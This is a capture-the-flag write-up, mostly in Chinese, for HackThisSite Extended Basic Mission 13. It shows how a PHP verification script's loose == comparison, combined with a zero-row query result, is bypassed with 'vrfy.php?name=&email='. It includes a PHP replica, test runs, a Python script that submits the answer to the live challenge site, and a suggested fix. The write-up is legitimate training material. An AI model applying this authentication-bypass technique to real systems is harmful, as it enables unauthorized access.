HackThisSite - Extended Basic Mission 13

Challenge

The script's filename is vrfy.php. Make the script reply 1. Use the relative path. You don't know any users or emails.

关卡给出校验脚本 vrfy.php,要求给出一段相对路径的 URL(可带 query),让脚本输出 1;没有任何已知的用户或邮箱。

关卡页把脚本正文放在 <code> 块里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_GET['name']) && isset($_GET['email'])) {
$user = mysql_real_escape_string($_GET['name']);
$email = mysql_real_escape_string($_GET['email']);
$result= mysql_fetch_assoc(mysql_query("SELECT `email` FROM `members` WHERE name = '$user'"));
$reply = false;
if ($email == $result['email'])
{
$reply = true;
}
} else {
$reply = false;
}
echo ($reply) ? 1 : 0;
?>

Solution

name 先过 mysql_real_escape_string() 作为 WHERE 条件里的单引号字符串字面量。这个函数会转义 \ ' " \n \r \0 和 Ctrl-Z,所以引号无法闭合,name 侧没有 SQL 注入。同时 email 也被转义后才参与比较,但它不进入 SQL:它只和查询结果做相等判断。

也就是说注入方向被堵死,能动的只有查询结果长什么样和比较表达式怎么算。

SELECT \email` FROM `members` WHERE name = '$user'没有LIMIT,但脚本用mysql_fetch_assoc()只取**第一行**。关键在一行都取不到时它的返回值:布尔false`。

此时 $resultfalse,脚本却直接读 $result['email']。布尔值上的下标访问在 PHP 5 里静默求值为 null(PHP 8 会补一条 Trying to access array offset on value of type bool 警告,结果仍是 null)。于是只要让 name 匹配不到任何成员,比较的右端就固定是 null

if ($email == $result['email']) 用的是松散比较 ==null 与字符串比较时按空串处理,于是:

1
2
3
4
var_dump(""    == null);   // bool(true)
var_dump("0" == null); // bool(false)
var_dump("x" == null); // bool(false)
var_dump("0e0" == null); // bool(false)

所以 $email 必须是空字符串,配合一个匹配不到的 name$reply 就变成 true,脚本回 1email 换成 0x0e0 都不行:isset($_GET['email']) 对空串仍为 trueemail= 不会被前一个 isset 分支挡掉。

PHP 8 已经移除 mysql_* 扩展,于是把三个 DB 调用按关卡语义打桩:mysql_query() 返回空结果集(表中不存在所发送的 name),mysql_fetch_assoc() 对空集返回 false,与线上行为一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// Level logic replayed against a members table we know nothing about.
// PHP 8 dropped ext/mysql, so the three calls are stubbed to reproduce exactly
// what the level depends on: a SELECT matching no row makes mysql_fetch_assoc()
// return FALSE, and FALSE['email'] then evaluates to NULL.

function mysql_real_escape_string(string $in): string
{
return strtr($in, [
"\\" => "\\\\", "'" => "\\'", '"' => '\\"',
"\n" => "\\n", "\r" => "\\r", "\0" => "\\0", "\x1a" => "\\Z",
]);
}

function mysql_query(string $sql)
{
// "SELECT `email` FROM `members` WHERE name = '$user'" — the members table
// contains none of the names we send, so every lookup returns no rows.
return [];
}

function mysql_fetch_assoc($result)
{
return empty($result) ? false : array_shift($result);
}

function vrfy(array $get): void
{
if (isset($get['name']) && isset($get['email'])) {
$user = mysql_real_escape_string($get['name']);
$email = mysql_real_escape_string($get['email']);
$result = mysql_fetch_assoc(mysql_query("SELECT `email` FROM `members` WHERE name = '$user'"));
$reply = false;
if ($email == $result['email']) {
$reply = true;
}
} else {
$reply = false;
}
echo $reply ? 1 : 0;
}

parse_str($argv[1] ?? '', $get);
vrfy($get);
echo "\n";

工作区里用已安装的 PHP 8.5 跑了几组 query string:

1
2
3
4
5
6
7
8
9
10
$ php replica_vrfy.php 'name=&email=' 2>/dev/null
1
$ php replica_vrfy.php 'name=nobody&email=' 2>/dev/null
1
$ php replica_vrfy.php 'name=nobody&email=0' 2>/dev/null
0
$ php replica_vrfy.php 'name=nobody&email=x' 2>/dev/null
0
$ php replica_vrfy.php 'name=nobody' 2>/dev/null
0

emailname 匹配不到 → 1;非空 email0;只给 name 不给 emailisset 为假)→ 0。与上面的推导一致。(2>/dev/null 只是滤掉 PHP 8 那条布尔下标警告;线上 PHP 5 不产生警告,返回同样是 null。)

playit 的提交走 POST /missions/extbasic/template.php,字段是 formkey + lvl + passformkey 在关卡页里每次加载都变,所以取页面和提交必须在同一次运行里完成;提交还必须带 Referer: <关卡页>,否则模板回 Invalid Referer 且不计分。会话 cookie 从环境变量 HTS_COOKIE 读取,不落盘:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
"""HackThisSite Extended Basic 13 (playit) live solver.

The level ships the source of vrfy.php: NAME is run through
mysql_real_escape_string() before being embedded in
"SELECT `email` FROM `members` WHERE name = '$user'", so there is no quote
injection. The hole is the zero-row case: mysql_fetch_assoc() returns False
when the SELECT matches nothing, and False['email'] evaluates to NULL. PHP's
loose == then makes "" == NULL true, so a name that matches no member plus an
empty email makes the script echo 1. The answer is the relative path
"vrfy.php?name=&email=".

formkey changes on every page load, so fetch and submit happen in one run, and
the POST must carry Referer: <level page> or template.php answers
"Invalid Referer" and the attempt does not count. The session cookie is read
from the HTS_COOKIE environment variable and never written to disk.

Usage:
export HTS_COOKIE='HackThisSite=...'
cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-13/solve.py
"""
import os
import re
import urllib.parse
import urllib.request

UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/131.0.0.0 Safari/537.36")
LEVEL = "https://www.hackthissite.org/missions/playit/extbasic/13/"
SUBMIT = "https://www.hackthissite.org/missions/extbasic/template.php"
NEXT = "/missions/playit/extbasic/14"
PAYLOAD = "vrfy.php?name=&email="
COOKIE = os.environ["HTS_COOKIE"]

def fetch(url):
req = urllib.request.Request(url, headers={"Cookie": COOKIE, "User-Agent": UA})
return urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace")

def main():
page = fetch(LEVEL)
formkey = re.search(r'name="formkey" value="([^"]+)"', page).group(1)
lvl = re.search(r'name="lvl" value="([^"]+)"', page).group(1)
body = urllib.parse.urlencode(
{"formkey": formkey, "lvl": lvl, "pass": PAYLOAD}).encode()
req = urllib.request.Request(
SUBMIT, data=body,
headers={"Cookie": COOKIE, "User-Agent": UA,
"Content-Type": "application/x-www-form-urlencoded",
"Referer": LEVEL})
resp = urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace")
print("formkey=%s lvl=%s pass=%s" % (formkey, lvl, PAYLOAD))
if NEXT in resp:
print("[+] accepted - server handed out the go-on link to level 14")
else:
print("[-] no go-on marker in response")

if __name__ == "__main__":
main()

运行输出:

1
2
3
$ cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-13/solve.py
formkey=vfqZopYEPMqToSdrKE8Zw6jGLAwArUiCP2HhfsetV lvl=13 pass=vrfy.php?name=&email=
[+] accepted - server handed out the go-on link to level 14

响应里 go on 图片指向 /missions/playit/extbasic/14,账户 profile 的 Extbasic: 行同时计入 (13)

Key points

  • namemysql_real_escape_string() 后拼进单引号字符串,引号闭合不了,SQL 注入不通;email 根本不进 SQL,只参与相等判断。
  • mysql_fetch_assoc()零行时返回 false 而非空数组,脚本却直接读 $result['email'],布尔下标求值为 null
  • 松比较 =="" == null 为真、任何非空字符串(含 "0")为假,所以 email 必须留空;isset($_GET['email']) 对空串为真,email= 能通过前置检查。
  • name 只要匹配不到成员即可(本关没有任何已知用户),无需猜邮箱。
  • playit 提交纪律:formkey 每次加载都变,必须取页面 → 立刻提交;缺少 Referer: <关卡页> 会被 Invalid Referer 拒掉且不计分。
  • 修正方式:用 === 做严格比较,并在使用结果前判断 mysql_fetch_assoc() 是否为 false(更彻底地用 PDO/mysqli 预处理替换已废弃的 mysql_*)。
vrfy.php?name=&email=